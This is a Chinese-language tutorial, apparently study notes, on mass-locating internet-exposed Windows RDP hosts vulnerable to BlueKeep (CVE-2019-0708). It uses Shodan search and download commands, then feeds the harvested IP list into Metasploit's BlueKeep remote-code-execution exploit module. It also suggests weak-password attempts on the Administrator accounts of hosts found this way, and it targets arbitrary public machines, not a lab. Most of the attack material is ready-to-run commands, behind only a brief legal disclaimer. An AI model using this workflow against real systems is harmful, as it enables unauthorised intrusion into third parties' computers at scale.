内容预览 ≧∀≦ゞ
- Shodan进阶使用之批量查找并验证漏洞
-
- 声明
- 导语
- 一、漏洞信息收集
- [二、构建 Shodan 搜索语句](#二、构建 Shodan 搜索语句)
-
- [1. 指定端口](#1. 指定端口)
- [2. 指定操作系统](#2. 指定操作系统)
- [3. 指定漏洞条件](#3. 指定漏洞条件)
- [4. 完整 Shodan 查询语句](#4. 完整 Shodan 查询语句)
- 三、验证目标设备的漏洞状态
- [四、 使用 Shodan 批量下载与解析漏洞数据](#四、 使用 Shodan 批量下载与解析漏洞数据)
- [五、 使用 Metasploit 进行漏洞批量验证](#五、 使用 Metasploit 进行漏洞批量验证)
-
- [1. 启动 Metasploit Console](#1. 启动 Metasploit Console)
- [2. 搜索并使用漏洞模块](#2. 搜索并使用漏洞模块)
- [3. 设置选项](#3. 设置选项)
- [4. 检查漏洞](#4. 检查漏洞)
- 总结
Shodan进阶使用之批量查找并验证漏洞
声明
本笔记内容参考了B站UP主 泷羽sec 的学习视频,若涉及侵权将立即删除。本笔记旨在方便网络安全学习,任何不当使用均与作者无关,请勿逾越法律红线,后果自负。
导语
在没有 Shodan 高级会员权限的情况下,无法使用 -vuln
参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次示例中将以 CVE-2019-0708(BlueKeep)漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合强大的 Metasploit 框架(msf)进行批量验证,帮助更高效地识别网络中的高危资产。
Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果。结合 Metasploit 的批量验证功能,我们不仅可以快速找到受影响的设备,还可以进一步确认这些设备是否存在可利用的漏洞,为网络安全研究和防护提供切实支持。
一、漏洞信息收集
要搜索特定漏洞,首先需要详细了解该漏洞的特征信息,提取出相关的指纹,以便构建精确的查询条件。通过搜索引擎、GPT、漏洞数据库等,我们可以提炼出 CVE-2019-0708 的以下关键特征:
- 漏洞描述:此漏洞存在于 Windows 的远程桌面服务(Remote Desktop Services)中。
- 端口特征 :通常影响开启 3389 端口的设备。
- 操作系统特征:受影响的系统包括 Windows 7、Windows Server 2008 R2、Windows XP 等。
- 探测方法:可通过发送特定的 RDP 请求,检测是否有异常响应来指示潜在的漏洞。
- 特征字符串:"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
二、构建 Shodan 搜索语句
结合漏洞特征和 Shodan 的搜索语法,接下来我们可以逐步构建查询条件,以实现有效的漏洞检测。
1. 指定端口
首先,限定端口为 3389,这是漏洞主要影响的端口:
bash
port:3389
2. 指定操作系统
通过操作系统字段,我们可以筛选出 Windows 7 等受影响的系统:
bash
os:"windows 7"
3. 指定漏洞条件
虽然无法直接使用 -vuln
参数,但我们可以结合 Shodan 提供的漏洞参数来进行条件组合:
bash
has_vuln:true
4. 完整 Shodan 查询语句
综合以上条件,我们可以构造完整的 Shodan 查询命令:
bash
shodan search --limit 10 --fields ip_str,port port:3389 os:"windows 7" has_vuln:true
此命令将返回包含指定漏洞的目标设备 IP 地址、端口等基本信息,并限制结果数量为 10 条。
除此之外,我们还可以将特征字符串作为搜索条件,以查找存在 CVE-2019-0708 漏洞的主机:
bash
shodan search --limit 10 --fields ip_str,port "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
三、验证目标设备的漏洞状态
对于筛选出的结果,进一步使用 shodan host
命令逐个验证目标 IP 的详细信息,以确认漏洞状态。
示例验证命令
bash
shodan host <目标IP>
执行后,Shodan 将返回该 IP 设备的详细信息,包括操作系统、开放端口、服务等,便于我们判断是否存在 CVE-2019-0708 漏洞。
针对该漏洞,我们也可以先尝试 Windows 远程桌面连接,验证设备是否存活。检查设备是否存活。如设备可正常连接,可尝试使用 Administrator 用户进行弱口令测试。
四、 使用 Shodan 批量下载与解析漏洞数据
下载搜索结果
可以将 Shodan 查询的结果保存到文件中,便于批量解析和进一步分析。例如,将查找到的可能存在 CVE-2019-0708 漏洞的设备保存至名为 0708
的文件:
bash
shodan download 0708 --limit 10 "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
解析下载的数据
下载的文件为压缩格式,可以使用 shodan parse
命令解析出特定字段,并保存为文本文件。以下命令提取 IP 地址并保存到 0708.txt
中:
bash
shodan parse --fields ip_str 0708.json.gz > 0708.txt
如需更多帮助,可使用 shodan parse -h
查看 parse
命令的详细帮助文档。
五、 使用 Metasploit 进行漏洞批量验证
Metasploit 是一款功能强大的安全工具,可批量检测目标设备是否存在指定漏洞。以下是使用 Metasploit 验证 CVE-2019-0708 的详细步骤。
1. 启动 Metasploit Console
在命令行中输入 msfconsole
进入 Metasploit 控制台,然后执行以下操作:
2. 搜索并使用漏洞模块
查找 CVE-2019-0708 漏洞的利用模块,并选择合适的模块:
bash
search 0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
3. 设置选项
查看可配置参数并进行设置:
bash
show options
- 将目标 IP 文件添加到
RHOSTS
参数中,例如拖入包含 IP 地址的文件:
bash
set RHOSTS file:<目标IP文件路径>
- 使用
show targets
查看支持的操作系统,例如 Windows 7 和 Windows Server 2008 R2。设置TARGET
为匹配的目标系统:
bash
set TARGET <目标系统编号>
4. 检查漏洞
在开始利用之前,使用 check
命令来验证目标是否存在漏洞,避免不必要的攻击:
bash
check
提示 :确保
payload
的 IP 地址和端口正确匹配,否则会导致漏洞利用失败。
总结
即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。
通过 Shodan 和 Metasploit,可以在无高级权限的情况下,通过漏洞指纹精准查找并批量验证漏洞目标。需要注意的是,Shodan 搜索到的设备并不一定全部可被利用,需谨慎操作并在合法合规的前提下进行安全测试。